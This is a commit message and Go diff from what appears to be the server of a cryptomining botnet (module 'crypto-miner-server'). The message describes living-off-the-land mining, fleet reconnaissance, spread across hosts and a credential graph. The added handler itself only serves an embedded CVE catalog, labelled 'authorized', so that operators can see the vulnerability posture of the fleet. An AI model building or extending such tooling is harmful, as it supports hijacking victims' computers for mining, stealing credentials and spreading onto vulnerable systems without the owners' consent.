Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/api/vuln_handler.go

@@ -0,0 +1,37 @@
+package api
+
+import (
+	"net/http"
+	"sync"
+	"time"
+
+	"crypto-miner-server/internal/vuln"
+)
+
+// VulnHandler serves cached CVE catalog JSON for fleet assessment UI.
+type VulnHandler struct {
+	mu       sync.RWMutex
+	cachedAt time.Time
+}
+
+func NewVulnHandler() *VulnHandler {
+	return &VulnHandler{cachedAt: time.Now()}
+}
+
+// Catalog returns embedded lightweight CVE correlator rules (cached 1h).
+func (h *VulnHandler) Catalog(w http.ResponseWriter, r *http.Request) {
+	h.mu.RLock()
+	stale := time.Since(h.cachedAt) > time.Hour
+	h.mu.RUnlock()
+	if stale {
+		h.mu.Lock()
+		h.cachedAt = time.Now()
+		h.mu.Unlock()
+	}
+	writeJSON(w, map[string]interface{}{
+		"catalog":    vuln.EmbeddedCatalog,
+		"cached_at":  h.cachedAt.UTC().Format(time.RFC3339),
+		"source":     "embedded",
+		"authorized": true,
+	})
+}